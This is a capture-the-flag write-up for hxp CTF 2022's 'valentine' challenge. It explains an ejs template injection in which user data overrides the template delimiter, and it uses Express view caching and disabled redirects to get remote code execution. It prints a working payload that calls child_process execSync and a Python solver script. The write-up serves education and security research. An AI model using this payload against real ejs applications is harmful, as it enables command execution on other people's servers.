hxp CTF 2022: valentine

Writeup of challenge valentine from our recent CTF.

Inspired by https://eslam.io/posts/ejs-server-side-template-injection-rce/, who was able to exploit the ejs templating engine using prototype pollution. But this was fixed in ejs 3.1.7. Let’s investigate the current release.

In his analysis, Eslam even scratches the possibility to overwrite options which are passed with data. He specifically mentions the delimiter in the context of abusing it for catastrophic regex.

eexports.render = function (template, d, o) {
  var data = d || utils.createNullProtoObjWherePossible();
  var opts = o || utils.createNullProtoObjWherePossible();

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);

  return handleCache(opts, template)(data);

While reading this blog post, what immediatelly bothered me is the question of:

In what scenario does anybody even want to pass options with untrusted user data?

Especially: Options which greatly affect the parsing of the template like delimiter?

And: Could this “feature” maybe be abused in any way?

Thus, the idea for this challenge was born.

Untrusted Templates

Several CMS systems or admin interfaces around the world offer users the option to customize their own e-mail, footer, headeer, … templates. So the use case to have untrusted templates is quite valid.

So what would happen, if we combine untrusted templates with untrusted user-input? RCE of course.

For this, we upload default NodeJS RCE which reads the flag:

<.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .>

In the Dockerfile, the node environment is set to production.

ENV NODE_ENV=production

This causes Express to cache views.

if (env === 'production') {
  this.enable('view cache');

Since the POST request redirects directly to the template without the delimiter, the default delimiter of % is cached and a later overwrite is not possible.

But it’s possible to disallow redirects:

  • Pyhton: requests.port(..., allow_redirects=False)
  • Firefox: set network.http.redirection-limit to 1 in about:config

If then accessing the site with delimiter=. set, the new delimiter will be used returning the flag in the template.



#!/usr/bin/env python3
import requests
import re


# write template
r = requests.post(f"http://{HOST}:{PORT}/template", data={"tmpl":"""<.- global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() .>"""}, allow_redirects=False)

# change delimiter
m = re.search(r"Redirecting to /(?P<uuid>.*)?name=", r.text)
r = requests.get(f"http://{HOST}:{PORT}/{m.group('uuid')}?name=a&delimiter=.")
m = re.search(r"hxp\{[^}]+\}", r.text)